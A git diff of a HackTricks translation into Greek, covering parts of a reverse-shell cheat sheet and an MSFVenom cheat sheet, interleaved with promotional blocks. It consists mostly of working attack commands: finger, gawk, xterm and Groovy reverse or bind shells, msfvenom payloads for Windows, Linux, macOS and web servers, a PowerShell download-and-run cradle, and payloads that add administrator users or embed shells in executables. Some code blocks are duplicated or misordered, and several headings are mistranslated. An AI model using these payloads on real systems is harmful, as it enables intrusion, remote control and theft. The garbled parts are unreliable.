**Θύμα**
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
||||
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||
```
|
||||
|
||||
## Gawk
|
||||
|
||||
Το Gawk είναι ένα ισχυρό εργαλείο για την επεξεργασία και ανάλυση κειμένου στο Linux. Χρησιμοποιείται συχνά για την εξόρυξη δεδομένων από αρχεία κειμένου και την εκτέλεση προηγμένων επεξεργασιών. Το Gawk υποστηρίζει πολλές λειτουργίες, όπως την αναζήτηση και αντικατάσταση προτύπων, την επεξεργασία πεδίων και την υπολογιστική επεξεργασία.
|
||||
|
||||
Για να χρησιμοποιήσετε το Gawk, μπορείτε να το εκτελέσετε από το τερματικό χρησιμοποιώντας την εντολή `gawk`. Μπορείτε να του περάσετε ένα αρχείο κειμένου ως είσοδο ή να του δώσετε εντολές απευθείας από το τερματικό.
|
||||
|
||||
Οι βασικές εντολές του Gawk περιλαμβάνουν την εκτύπωση γραμμών, την αναζήτηση και αντικατάσταση προτύπων, την επεξεργασία πεδίων και την εκτέλεση μαθηματικών πράξεων. Μπορείτε επίσης να χρησιμοποιήσετε τις μεταβλητές και τις συναρτήσεις του Gawk για πιο προηγμένες επεξεργασίες.
|
||||
|
||||
Το Gawk είναι ένα ισχυρό εργαλείο που μπορεί να σας βοηθήσει στην ανάλυση και επεξεργασία κειμένου στο Linux. Μάθετε τις βασικές εντολές και αρχίστε να το χρησιμοποιείτε για να αυξήσετε την αποτελεσματικότητά σας στον χειρισμό των αρχείων κειμένου.
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
||||
BEGIN {
|
||||
Port = 8080
|
||||
Prompt = "bkd> "
|
||||
Port = 8080
|
||||
Prompt = "bkd> "
|
||||
|
||||
Service = "/inet/tcp/" Port "/0/0"
|
||||
while (1) {
|
||||
do {
|
||||
printf Prompt |& Service
|
||||
Service |& getline cmd
|
||||
if (cmd) {
|
||||
while ((cmd |& getline) > 0)
|
||||
print $0 |& Service
|
||||
close(cmd)
|
||||
}
|
||||
} while (cmd != "exit")
|
||||
close(Service)
|
||||
}
|
||||
Service = "/inet/tcp/" Port "/0/0"
|
||||
while (1) {
|
||||
do {
|
||||
printf Prompt |& Service
|
||||
Service |& getline cmd
|
||||
if (cmd) {
|
||||
while ((cmd |& getline) > 0)
|
||||
print $0 |& Service
|
||||
close(cmd)
|
||||
}
|
||||
} while (cmd != "exit")
|
||||
close(Service)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Xterm
|
||||
|
||||
This will try to connect to your system at port 6001:
|
||||
|
||||
Αυτό θα προσπαθήσει να συνδεθεί στο σύστημά σας στη θύρα 6001:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
To catch the reverse shell you can use (which will listen in port 6001):
|
||||
|
||||
Για να πιάσετε το αντίστροφο κέλυφος μπορείτε να χρησιμοποιήσετε (το οποίο θα ακούει στη θύρα 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
# Listen
|
||||
Xnest :1
|
||||
```
|
||||
|
||||
## Groovy
|
||||
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy
|
||||
|
||||
από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Ο αντίστροφος κέλυφος της Java λειτουργεί επίσης για την Groovy
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
|
@ -373,21 +485,21 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,103 +1,107 @@
|
|||
# MSFVenom - CheatSheet
|
||||
# MSFVenom - Φύλλο απατεώνα
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
Εγγραφείτε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
**Εισαγωγή στο Χάκινγκ**\
|
||||
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
|
||||
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
**Τελευταίες Ανακοινώσεις**\
|
||||
Μείνετε ενημερωμένοι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
**Εγγραφείτε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
|
||||
|
||||
***
|
||||
|
||||
## Basic msfvenom
|
||||
## Βασική msfvenom
|
||||
|
||||
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
|
||||
|
||||
One can also use the `-a` to specify the architecture or the `--platform`
|
||||
|
||||
## Listing
|
||||
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε το `-a` για να καθορίσετε την αρχιτεκτονική ή την `--platform`
|
||||
```bash
|
||||
msfvenom -l payloads #Payloads
|
||||
msfvenom -l encoders #Encoders
|
||||
```
|
||||
## Κοινοί παράμετροι κατά τη δημιουργία ενός shellcode
|
||||
|
||||
## Common params when creating a shellcode
|
||||
When creating a shellcode, there are several common parameters that can be used to customize its behavior. These parameters include:
|
||||
|
||||
- **LHOST**: Η διεύθυνση IP του επιτιθέμενου συστήματος, στο οποίο θα σταλεί ο shellcode.
|
||||
- **LPORT**: Ο αριθμός θύρας στον οποίο θα ακούει ο shellcode για συνδέσεις.
|
||||
- **EXITFUNC**: Η μέθοδος που θα χρησιμοποιηθεί για την έξοδο από το πρόγραμμα μετά την εκτέλεση του shellcode.
|
||||
- **Encoder**: Ο κωδικοποτητής που θα χρησιμοποιηθεί για την απόκρυψη του shellcode.
|
||||
- **Badchars**: Οι χαρακτήρες που πρέπει να αποφευχθούν στο shellcode, εάν υπάρχουν.
|
||||
- **Platform**: Η πλατφόρμα στην οποία θα εκτελεστεί το shellcode (π.χ. Windows, Linux, macOS).
|
||||
- **Arch**: Η αρχιτεκτονική του συστήματος στο οποίο θα εκτελεστεί το shellcode (π.χ. x86, x64, ARM).
|
||||
|
||||
Αυτές οι παράμετροι μπορούν να προσαρμοστούν ανάλογα με τις ανάγκες της επίθεσης και το περιβάλλον στο οποίο θα εκτελεστεί το shellcode.
|
||||
```bash
|
||||
-b "\x00\x0a\x0d"
|
||||
-f c
|
||||
-e x86/shikata_ga_nai -i 5
|
||||
-b "\x00\x0a\x0d"
|
||||
-f c
|
||||
-e x86/shikata_ga_nai -i 5
|
||||
EXITFUNC=thread
|
||||
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
|
||||
```
|
||||
|
||||
## **Windows**
|
||||
|
||||
### **Reverse Shell**
|
||||
### **Αντίστροφο Shell**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Bind Shell
|
||||
### Συνδεδεμένη θύρα (Bind Shell)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Create User
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
### Δημιουργία Χρήστη
|
||||
|
||||
{% code %}
|
||||
```bash
|
||||
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
||||
```
|
||||
{% endcode %}
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
### CMD Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
{% code %}
|
||||
```bash
|
||||
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Execute Command**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
### **Εκτέλεση Εντολής**
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Encoder
|
||||
### Κωδικοποιητής
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -105,7 +109,7 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Embedded inside executable
|
||||
### Ενσωματωμένο μέσα σε εκτελέσιμο
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -113,18 +117,16 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## Linux Payloads
|
||||
## Πληρωμές Linux
|
||||
|
||||
### Reverse Shell
|
||||
### Αντίστροφο κέλυφος
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Bind Shell
|
||||
### Συνδεδεμένη θύρα (Bind Shell)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -140,17 +142,15 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## **MAC Payloads**
|
||||
## **MAC Παραμέτροι**
|
||||
|
||||
### **Reverse Shell:**
|
||||
### **Αντίστροφο Shell:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Bind Shell**
|
||||
### **Συνδεδεμένη θύρα**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -158,11 +158,11 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
## **Web Based Payloads**
|
||||
## **Πλατφόρμες βασισμένες στον ιστό**
|
||||
|
||||
### **PHP**
|
||||
|
||||
#### Reverse shel**l**
|
||||
#### Αντίστροφη κέλυφος
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -173,7 +173,7 @@ cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> s
|
|||
|
||||
### ASP/x
|
||||
|
||||
#### Reverse shell
|
||||
#### Αντίστροφο κέλυφος
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -184,7 +184,7 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
|
||||
### JSP
|
||||
|
||||
#### Reverse shell
|
||||
#### Αντίστροφο κέλυφος
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -194,21 +194,19 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
|
|||
|
||||
### WAR
|
||||
|
||||
#### Reverse Shell
|
||||
#### Αντίστροφος Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
|
||||
```
|
||||
{% endcode %}
|
||||
{% code %}
|
||||
|
||||
### NodeJS
|
||||
|
||||
```bash
|
||||
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
||||
```
|
||||
|
||||
## **Script Language payloads**
|
||||
## **Φορτία γλωσσών σεναρίου**
|
||||
|
||||
### **Perl**
|
||||
|
||||
|
@ -216,11 +214,11 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
||||
```
|
||||
{% endcode %}
|
||||
{% code overflow="wrap" %}
|
||||
|
||||
### **Python**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
{% endcode %}
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
```
|
||||
|
@ -236,29 +234,29 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
**Εισαγωγή στο Hacking**\
|
||||
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
|
||||
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
**Τελευταίες Ανακοινώσεις**\
|
||||
Μείνετε ενημερωμένοι με τις νεότερες ευκαιρίες ευρήματος ασφαλείας και τις κρίσιμες ενημερώσεις των πλατφορμών.
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετέχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
|
||||
|
||||
</details>
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue